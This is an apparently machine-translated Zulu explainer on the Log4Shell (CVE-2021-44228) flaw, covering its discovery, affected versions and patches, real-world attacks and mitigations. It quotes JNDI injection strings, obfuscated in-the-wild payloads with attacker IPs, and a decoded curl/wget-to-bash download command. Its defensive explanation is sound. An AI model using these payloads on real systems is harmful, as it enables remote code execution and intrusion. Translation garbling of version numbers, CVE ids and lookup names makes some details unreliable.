Iyini I-Log4j Library? Buyini Ubungozi Bakho?

Isibuyekezo sokugcina: 04/10/2024
Umtapo wezincwadi we-Log4j

I-Java itholakala yonke indawo kumadivayisi ahlobene ne-IT njengamaselula, amadeskithophu, amaseva, amadivayisi IoT, amarutha, amaphrinta, amakhophi, phakathi kokunye. Iningi lezinhlelo zokusebenza ezidumile zesoftware nemidlalo, kanye nezinhlelo zebhizinisi zangokwezifiso, zenziwa kusetshenziswa i-Java. Isilinganiso esinzima siwukuthi amathuluzi ayizigidi eziyizinkulungwane ezingu-3 ayasebenza Java. Imitapo yolwazi ye-Java ithatha ukuqina kwe-Java ikuyise kwelinye izinga.

Omunye wabo imitapo yolwazi yi-Log4J, eyasungulwa umthombo ovulekile we-Apache Software Foundation. Lo mtapo wezincwadi we-Log4J uyingxenye ebalulekile yohlaka lokungena kwe-Java futhi unesibopho sokungena kwemilayezo yephutha evela kuhlelo lokusebenza.

Ukusebenzisa umtapo wezincwadi we-Log4J

Ukungena ngemvume kusiza onjiniyela babone yonke imisebenzi eyenziwa uhlelo lokusebenza, futhi cishe zonke izinhlelo zokusebenza zesofthiwe (ngisho nezisekelwe emafini) zidale amalogi amaphutha abo. Onjiniyela ngokuvamile abawakhi uhlelo lokungena lohlelo lwabo lokusebenza (ukuze bangasunguli kabusha isondo), kodwa bakhetha ukusebenzisa umtapo wolwazi wokugawula osumisiwe (okujwayelekile okujwayelekile ekubhaleni amakhodi nasekuthuthukisweni) kanye ukubhalisa ngaphezulu populares kwe Java Ilogi4J.

Ngakho-ke, cishe zonke izinhlelo zokusebenza (kufaka phakathi izicelo ezivela kuhulumeni, ama-ejensi, izinkampani, iMicrosoft, i-Apple, -Google, njll.) okungukuthi ebhalwe nge-Java ingase ibe nalo mtapo wolwazi kanye nokuba sengozini kulabhulali enjalo iphupho elibi kakhulu kanye nephupho ukuphepha kwe-cyber. kuyiqiniso kubaduni.

Futhi, lo mtapo wolwazi ungumthombo ovulekile, ngakho cha kukhona izibalo ezisemthethweni mayelana nokuthi mangaki amadivayisi/izinhlelo zokusebenza ezisebenzisa le labhulali.

I-Log4J isetshenziswa abaningi izinhlelo zokusebenza edumile (like Twitter, Apple iCloud), imidlalo (njenge Minecraft, I-Steam), amawebhusayithi, phakathi kwabanye. Ngokuhambisana nalokhu, lo mtapo wolwazi uyingxenye eminingi ezinye izinhlaka njengeKafka, Elasticsearch, Flink. Uhlu lwezinhlelo zokusebenza, imikhiqizo nama-plugin asengozini yokuxhashazwa kwe-Log4J lukhula njalo.

Ukutholwa kokuba sengozini ku-Log4J

Umbiko wokuqala yokuba sengozini ku-Log4J ekuqaleni kwavela ku-1 st Disemba 2021 ngo- U-Chen Zhaojun yithimba le-Alibaba Cloud Security, okuthe, njengomkhuba ojwayelekile wokuzingela iziphazamisi futhi njengomuntu onomthwalo wemfanelo we-IT, wazisa i-Apache Foundation mayelana nephutha (yize, abanye abazingeli beziphazamisi bathengisa ubungozi obunjalo kubagebengu futhi ubungozi obunjalo buhlala bungabonakali izinyanga noma iminyaka) . I ukutholwa kwenzeke ku Minecraft. I- chat umsebenzi yeMinecraft iwumthombo wokuhlonza ukuxhashazwa kwe-Log4J.

I-algorithms yengxoxo yegeyimu isuselwe ku-Java API kusetshenziswa ilabhulali ye-Log4J futhi le labhulali ivumele abantu ababi ukuthi bamise amaseva e-Minecraft, basuse bonke abadlali, njll. Ezimweni ezivumayo, lobu buthakathaka bebulawulwa kalula Ukwenziwa Kwekhodi Ekude (RCE)., okuthuthukisa izinga lokusongela lokuba sengozini.

Ukuba sengozini kulabhulali ye-Log4J kwamukelwa esidlangalaleni ngo-9 º Disemba 2021 ngu-Apache. Ukuba sengozini kwaba igama njengoba I-Log4Shell futhi kwaba ngokusemthethweni umaki njengoba CVE-2.021 ukuze 44.228. (CVE C OKUJWAYELEKILE V ubuthakathaka kanye E xposures) isistimu yezinombolo iyigama lokuhlonza ngokukhethekile ukuba sengozini/ukuxhashazwa okutholwa emhlabeni wonke.

I-Log4J ihlukaniswa njengengozi yasemini Cero (noma usuku 0). Ukuba sengozini kosuku oluyiziro kusho ukuthi izigebengu ze-inthanethi sezivele ziqondise ubungozi, nangaphambi kokuba onjiniyela bezwe iphutha futhi babenosuku oluyiziro lokusebenzisa isiqeshana salokho kuxhashazwa.

Izinguqulo ezithintekile zelabhulali ye-Log4J namapeshi akhululiwe

Kubikwa ukuthi izinguqulo 2.0 ukuze I-Log2.14.1J 4 ithintwa ukuba sengozini. Inguqulo I-Log2.15.0J 4 kwakunguye isichibi sokuqala ikhishelwe i-CVE-2021-44228, kodwa ngokuhamba kwesikhathi, kwatholakala okunye ubungozi ku-Log4J (ikakhulukazi, ekucushweni okungekona okuzenzakalelayo) okubhalwe ukuthi I-CVE-2021-45046. Lokhu kuba sengozini kwakune umthelela de ukuphepha de 3.7 (iphansi kakhulu uma iqhathaniswa nokuba sengozini kwasekuqaleni). Kwabe sekwethulwa i-Apache Foundation Inguqulo ye-Log4j 2.16 ukuhlanganisa ukuxhaphaza esixazululweni sokuqala.

Ngenkathi sisasebenza kulesi sihloko, i-Apache ikhiphe esinye isiqeshana se-Log4J Inguqulo ye-2.17 ngokuba sengozini kwe-Log4J okumakwe ngokuthi I-CVE-2021-45105 (ukunqatshelwa kwesevisi/ukuhlasela kwe-DoS). Ulwazi mayelana nezimagqabhagqabha luyatholakala ku Ikhasi lezokuphepha elisemthethweni le-Log4J iwebhusayithi ye Apache.

Abafundi abaningi bangase bacabange ukuthi njengoba isichibi sesivele sisetshenziswe ku-Log4J, kungani le nkinga? Yize inguqulo yakamuva yomtapo wezincwadi we-Log4J ifakwe nezichibiyelo, izinhlelo zokusebenza, imikhiqizo, ama-plugin, njll. ezisasebenzisa izinguqulo ezindala ze-Log4J azikabhashwa okwamanje. Ukwengeza, kunesimo sezinhlelo zokusebenza eseziphenduke i-abandonware futhi zisebenzisa inguqulo esengozini ye-Log4J. I-Abandonware iwumkhiqizo wesofthiwe ozitshwayo/ongathuthukiswanga ngabanikazi/abakhiqizi bawo futhi ongenakho ukwesekwa okusemthethweni.

  I-Outlook Ayisebenzi. Izimbangela, Izixazululo, Okunye

Ubukhulu bokuxhashazwa kwe-Log4J

Esilinganisweni somthelela wezokuphepha, ukuxhaphaza kwe-Log4J kungalinganiswa kalula njenge-10/10 (izinga eliphezulu lengozi elingaba khona). Ubukhulu balokhu kuba sengcupheni bukhulu kangangokuthi bonke abadlali abakhulu (i-Microsoft, i-Google, i-Cisco, njll.) kanye nohulumeni kanye ne-Apache (onjiniyela be-Log4J) basebenza ubusuku nemini ukuze balungise ubungozi. Ukukhathazeka nokusabela kwalezi zinkampani kungabonakala kumawebhusayithi azo asemthethweni noma kuma-akhawunti ezinkundla zokuxhumana. Ubukhulu bokuba sengozini bungabonisa ukuthi nini Umqondisi u-Jen Easterly we-CISA (I-US) C ybersecurity kanye I nfra s ukuthutha A ejensi) ikhulume ngokuxhaphazwa kwe-Log4J njenge

Enye yezinto ezimbi kakhulu eziye zabonakala esikhathini eside, uma kungenjalo ezimbi kakhulu. 

Futhi ngenxa yalobu bunzima, abaholi bemboni ye-IT bacabanga ukuthi ubungozi be Ilogi4J kuzolandela ukucupha la imboni eminyakeni embalwa ezayo.

Kungani ukuba sengozini kwe-Log4J kungazange kubonwe ngaphambili?

Abasebenzisi abaningi bayazibuza ukuthi kungani ubungozi bobukhulu obunjalo bungazange butholakale njengoba umtapo wezincwadi we-Log4J ubulokhu utholakala kusukela ngo-2013. Nakuba ku- USA 2016 Ukuba sengozini kwe-Log4J kubikwe i-BlackHatEvents, eyaxoxa nge-JNDI njenge-vector yokuhlasela, kuyilapho, ukuba sengozini kwamanje kuwuhlobo lomjovo wesifanekiso ovumela ukusetshenziswa kwe-JNDI.

Kodwa ezinhlelweni zesofthiwe, ukukhubazeka kunzima ukukubona njengoba ubuchwepheshe obusha buvela, umkhathizwe wemboni ye-IT uyashintsha (isibonelo, izinhlelo zokusebenza zesofthiwe ngaphambi kokusungulwa kwe-inthanethi nangemuva kwe-inthanethi yindaba ehlukile ).

Futhi, njengoba kuxoxiwe ngenhla, izinguqulo zomtapo wezincwadi we-Log4J ngezansi kuka-2.0 azithinteki (zinezinkinga zazo), ngakho-ke intuthuko kwezobuchwepheshe bekuyisizathu esenza ukuthi kubonwe lokhu kuxhashazwa.

Ukuhlasela kusetshenziswa ukuba sengozini kwe-Log4J

Ngokuxhashazwa okusha edolobheni, abaduni baqondise amathuluzi abo ukuze basebenzise lokho kuxhaphaza. Okokuqala I-malware wathola ukuthi ukhombe ukuxhashazwa kwaba I-CryptoMiners (okukhishwe cryptocurrencies yomshini othintekile).

Lokhu kwalandelwa I-Cobalt Strike (ukuhlolwa kokungena) ukweba igama lomsebenzisi/amaphasiwedi wesistimu ethelelekile. Ngemuva kwalokho umkhumbi wajoyinwa yi-malware esekelwe ku-ransomware njenge Khonsari futhi i uhlu luyaqhubeka.

Futhi okokugcina, the amaqembu ama-hacker asekelwe ngokwesimo samazwe amaningana aqondise izimbangi ngokusebenzisa lobu buthakathaka. Nali imephu evela ku-ESET mayelana nokuhlaselwa okubikiwe okwenziwe (inani eliphakeme kakhulu lokuhlasela e-US, UK, Germany, Turkey naseNetherlands).

Kuze kube manje, zikhona zingaphezu kuka-1800000 izigameko ezibikiwe (kanye nokubala) imizamo yokusebenzisa lokhu kuxhashazwa kwe-Log4J ngabaduni. Ngaphezu kwalokho, cishe ngaphezu Amaphesenti angu-40 amanethiwekhi ezinkampani bahlaselwa ngokusebenzisa lobu sengozini. Ukutholakala kwe sebenzisa ikhodi en amasayithi amaningana Kwenze izinto zaba zimbi nakakhulu. Ngaphezu kwalokho, izinto zaba nzima njengoba kungenzeka kuqondisiwe por HTTP y I-HTTPS.

Kodwa lokho kuyisiqalo kuphela, ngoba, uma a i-malware worm kuqondiswe ebungozini, khona-ke umthelela wayo ungaba mkhulu kakhulu kunobungozi bokuqala. Ngoba, i-computer worm iwucezu oluzimele lwesofthiwe oluphindaphinda buthule futhi lusabalale kunethiwekhi yonkana (isibonelo, Ikhodi Red worm ngawo-2000 noma WannaCry e 2017).

Isebenza kanjani

Umtapo wezincwadi we-Log4J (kanye nohlaka lokugawulwa kwemithi) ulandelela lokho okwenziwa uhlelo lokusebenza futhi usebenzise ukuxhashazwa, umhlaseli udinga kuphela ukuphoqa ukungena ngemvume ku-Log4J usebenzisa umsebenzi olula, isibonelo, ukusetha igama lomsebenzisi le-akhawunti noma ukuthumela uchungechunge lwekhodi ku-imeyili.

  Liyini ifayela le-PIT? Eyenzelwe ini nokuthi uyivula kanjani

Ukudalwa komhlaseli kwefayela lokungena lohlelo lokusebenza ku-can yohlaka lokungena ziyahlukahluka kusuka isicelo esisodwa kuya kwesinye (ngokwesibonelo, ku-Minecraft, umsebenzi wengxoxo wasetshenziswa) noma ukusuka kwenye ikhompuyutha kuya kwenye. Uma lokho kufakwa kokubhalisa sekudaliwe ngekhodi enonya, umhlaseli angalayisha ikhodi enonya emshinini, athathe ukulawula okugcwele kohlelo, isabalale kunethiwekhi yonkana, faka uhlelo olungayilungele ikhompuyutha, qalisa olunye uhlobo lokuhlasela, nanoma yini enye.

Ingxenye eyingozi kakhulu yalokhu kuba sengcupheni ukuthi kunjalo » kuqinisekiswe ngaphambilini”, okusho ukuthi i-hacker akudingeki ukuthi ingene ohlelweni olusengozini ukuze ilulawule.

Ukuxhaphaza kungaba chaza umane ezinyathelweni ezilandelayo:

  • El i-hacker ivula i- ukuxhaphaza ngokuthumela imali ekhokhelwayo enonya ngokufaka okunikezwa umsebenzisi. Lo mthwalo okhokhelwayo ungaba unhlokweni we-HTTP/HTTPS nanoma yini enye uhlelo lokusebenza olusengozini olungena kuyo kusetshenziswa i-Log4j.
  • Uhlelo lokusebenza bhalisa inkokhelo enonya kudatha yakho.
  • La Ilabhulali ye-Log4J izama ukuhumusha okokufaka komsebenzisi okunonya futhi ixhuma kuseva elawulwa izigebengu (isibonelo, i-LDAP).
  • El iseva okunonya (isb. i-LDAP) ibuyisela impendulo esitshela isicelo ukuthi umthwalo un ifayela le-java lesigaba esikude.
  • Uhlelo lokusebenza lulanda futhi sebenzisa ifayela elikude okuvulela i-hacker iminyango ukuthi enze izenzo zakhe ezimbi.

Inqubo ichazwa kuthebula elilandelayo:

Ingabe uphephile?

Ngakho-ke ngemuva kokudlula kulokhu okungenhla, abasebenzisi beza nombuzo: ngiqinisekile? Kuya. Uma umsebenzisi eyingxenye yenhlangano esebenzisa ilabhulali ye-Log4J Java, khona-ke yena nenhlangano yakhe basengozini.

Uma umsebenzisi noma inhlangano yakhe ingasebenzisi noma yini esekelwe ku-Java (akunakwenzeka kakhulu), kodwa ukuncika kwezinhlelo zebhizinisi, 3 rd Izinsiza zomthengisi wenkampani yangaphandle noma uhlelo lokusebenza olususelwa ku-Java lapho-ke umsebenzisi noma inhlangano yakhe ingaba sengozini. Ungakwazi ukusesha ku-inthanethi izinhlelo zokusebenza ozisebenzisayo uma zisengozini.

Yini okufanele uyenze?

Manje ngombuzo wokugcina, yini okufanele uyenze uma ubungozi be-Log4J bukhona kusistimu noma inhlangano yakho.

Okomsebenzisi

Umsebenzisi wokugcina ojwayelekile angikwazi ukwenza lutho olubalulekile mayelana nalobu bungozi, ngaphandle kokugcina izinhlelo zakho zokusebenza (ikakhulukazi izinhlelo zokulwa namagciwane/zokuvikela), amadivaysi noma isistimu yokusebenza isesikhathini samanje.

Uma umsebenzisi esebenzisa ifomu le sieware , ukuyikhipha kungagcina isistimu yakho iphephile. Ngaphezu kwalokho, uma usebenzisa i-a inkonzo online (njengokusakaza), qiniseka ukuthi banayo wasebenzisa amapheshana (hlola amakhasi abo asemthethweni noma izibambo zenkundla yezokuxhumana) kuyindlela yokuya kumsebenzisi ojwayelekile.

Okwenhlangano

Ibanga lokuvikela inhlangano ku-Log4J exploit can ziyahlukahluka kusuka enhlanganweni kuya kwenye. Isinyathelo sokuqala kufanele sibe yenza ucwaningo yayo yonke ingqalasizinda, ukuncika kwezicelo, 3 rd izinsiza zomthengisi ozakwethu, noma abasebenzi abakude ukuthola ukuthi ubungozi bukhona yini. Ukucwaninga kufanele kuseshe amalogi ezicelo amaphethini alandelayo noma okuphuma kuwo:

${jndi:ldap:/}

${jndi:ldaps:/}

${jndi:rmi:/}

${jndi:dns:/}

${jndi:iiop:/}

Inhlangano ingasebenzisa futhi amathuluzi okusesha azenzakalelayo e uphenyo lokusongela (njenge I-Log4J Vulnerability Tester yi-TrendMicro) ukuthola noma yiluphi uhlelo lokusebenza olunobungozi be-Log4J. Unjiniyela wenhlangano kufanele anikezwe umsebenzi wokuhlola ikhodi yakhe noma iyiphi ireferensi yokuba sengozini kwe-Log4J.

Ngaphezu kwalokho, i amadivaysi ixhunywe ku Internet yenhlangano kumele ifakwe nezimagqabhagqabha ngokushesha ukugwema inhlekelele. Inhlangano kufanele yenze ngokushesha ngangokunokwenzeka njengoba kufanele iqhudelane nabalingisi ababi okungenani izinsuku eziyi-7 ngaphambi kwabanye ekuhlaseleni ukuba sengozini.

Okwesibili, kufanele futhi ubeke a i-firewall yesicelo sewebhu ngokushesha ngangokunokwenzeka ukuze kuvikelwe izinsiza nedatha yenhlangano. Cishe bonke abadlali abakhulu (i-Microsoft, i-Oracle, i-Apple, i-Google, i-Amazon, njll.) izinsizakalo zabo zibuyekeziwe futhi bakhulule iziqephu zemikhiqizo yabo.

Ngakho-ke, inhlangano kufanele iqinisekise ukuthi ibuyekeza zonke izinhlelo zokusebenza nezinsizakalo ezisebenzisayo ngeziqephu zakamuva. Ngaphezu kwalokho, izinhlangano zebhizinisi kufanele nciphisa ithrafikhi ye-inthanethi engadingekile ukunciphisa ukuchayeka kwakho, okuzokwehlisa izinga lakho lobungozi.

Izici zobuchwepheshe zokuba sengozini

Kuze kube manje, sizamile ukumboza ukuba sengozini kwe-Log4J ngamagama alula, kodwa kulesi sigaba, sizoxoxa ngokuba sengozini kwe-Log4J ngokwemibandela yobuchwepheshe yonjiniyela. Lobu bungozi busetshenziswa ngokucinga JNDI (I-Java Nameing and Directory Interface). Lokhu kungaholela ekutheni a ukuphika ukuhlaselwa kwensiza (Ababili).

  Ungakulungisa kanjani ukusetshenziswa kwe-CPU ephezulu nge-svchost.exe?

Noma nini lapho i-JNDI ihlangana nenkulumo efana ne-${a_Java_expression}, ibheka inani laleso sisho bese ifaka esikhundleni saso. Ezinye ze Usesho oluhambisana ne-Log4J Lawa sys, JNDI, env, java, low and upper. Ezinye ze Amaphrothokholi asekelwa usesho lwe-Log4JZiyi-LDAP, DNS, RMI kanye ne-IIOP.

Ukuze ujove ukungena kulogi yohlelo lokusebenza, umhlaseli angasebenzisa izicelo ze-HTTP kuseva futhi lapho ethola isicelo, i-Log4J Search izolanda futhi isebenzise isigaba esinonya (esingethwe kuseva ye-LDAP elawulwa yisigebengu se-inthanethi), uma isici se-ObjectClass sivuliwe. into ye-LDAP ichazwa ngokuthi i-javaNamingReference futhi inezibaluli ezilandelayo:

javaCodebase

javaFactory

javaClassName

Ngemuva kwalokho yena Isilayishi sento ye-LDAP izokhipha okuqukethwe kwe-URL enonya njengoba kuchazwe ku-javaCodebase futhi yakhe a into ehambisanayo ku inkumbulo. Uma indlela yokuqalisa noma ngaphezulu ngokusemthethweni, umakhi wekilasi elishiwo ukhishiwe, a ikhodi engathenjwa of a umthombo ongathembekile emshinini onegciwane.

La isisho ngaphezulu eziyisisekelo ukuthi umhlaseli angajova ku-Log4J

${jndi:ldap://{attacker_website}/a}

Lokhu kuzosebenzisa i- isingethe ikhodi enonya ku:

http://{attacker_website}/{malicious class}

Uma ikhodi engalungile isisetshenziswe ngempumelelo, iseva ihumusha iyunithi yezinhlamvu eholela ku- imiyalo igobolondo ngamafomethi ahlukahlukene njengeJavaScript, iJava Class, Unix igobolondo, phakathi kwabanye.

Esinye isici esinyusa ubukhali bokuba sengozini yi- amandla de ukwakha isidleke i-del I-Java ${} vimba, okuzokwenza ukuthola izintambo ezisolisayo kube nzima kakhulu. Isibonelo, esikhundleni sokusebenzisa i-${jndi:}, izigebengu ze-inthanethi zingasebenzisa i-${${lower:jn}${lower:di}} ezovumela izigebengu ze-inthanethi ukuthi zikhiphe ulwazi/idatha kuseva ekude.

Umbuzo othakazelisayo ongase uphakame engqondweni yomfundi ukuthi kuphi beka ikhodi yini engangena kumtapo wezincwadi we-Log4J? Izinhlelo zokusebenza eziningi zibhala yonke into eyenzekayo kuzo, okuhlanganisa izicelo ezingenayo njengezihloko ze-HTTP (ezifana ne-User-Agent noma i-X-Fordered-For), ama-URI, indikimba yesicelo, njll.

Okubi kakhulu ukuthi umhlaseli angathumela isicelo esinjalo kulo lonke uhlelo lokusebenza lokungena ku-inthanethi bese enikeza imiyalo yokulawula umshini onegciwane. Inqubo icaciswa kumdwebo olandelayo:

Ngezansi kukhona ezinye izibonelo of the Ama-URL akhonjiwe kuze kube manje ukuqala okuhlukile izinhlobo zokuhlasela ngokusebenzisa umtapo wezincwadi we-Log4J:

${jndi%3aldap%3a //0ky8rj5089x9qx7tq8djb3rpp.canarytokens[.]com/a}

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostname:user:env}.c6340b92vtc00002scfggdpcz9eyyyyyd.interactsh[.]com}

$ {Jndi: $ {yehla: l} $ {landa: d} $ {landa: a} $ {yehla: p}: //195.54.160 149 [.]: 12344 / okuyisisekelo / umyalo / isisekelo 64 / kN1cmwglxmgmtk1lJu0lje FHDNZXQGLXEGLU2Tide4NS6NC3XNJAUMTQ80OJU41NZQVndUuntyuousuciji45OJGWKXXIYXNO}

${jndi:ldap://5819.u837r4g5oolsy8hudoz24c15nwtohd.burpcollaborator[.]net/a}

${${env:ENV_NAME:-j} ngi ${env:ENV_NAME:-:} ${env:ENV_NAME:-l} dap ${env:ENV_NAME:-:} // 62.182.80.168:1389/pien3m}

${${bottom:j}${top:n}${bottom:d}${top:i}:${bottom:l}${bottom:d}${bottom:a}${bottom:p }}: //67.205.191.102:1389/koejir}}

Okulandelayo kuyingxenye ye Amalogi weseva ye-HTTP ibonisa ukuzama ukuxhaphaza kwe-Log4J:

45.155.205 [.] 233:53590 iseva: 80 – [10/Dec/2021:13:25:10 +0000] "GET/HTTP/1.1" 200 1671 "-" "${jndi:ldap://45.155 .205[.]233:12344 /Basic/Command/Base64/[BASE64-code-removed]} «

La iyunithi ye-base64 Kurekhodi langaphambilini ihlukaniselwe ukuthi:

(curl -s 45.155.xxx.xxx:5874/server:80||wget -q -O- 45.155.xxx.xxx:5874/server:80)|bash

Lokhu kuzobheka ikhodi enonya esuka ku-45.155.xxx.xxx bese kusebenzisa iskripthi usebenzisa i-Bash.

Ekugcineni, sifuna abafundi bethu qaphela kulokhu kusongelwa futhi akufanele sikuthathe kalula ngoba kunesizathu sokuthi kungani i-intanethi ivutha ngenxa yalokhu kuba sengozini.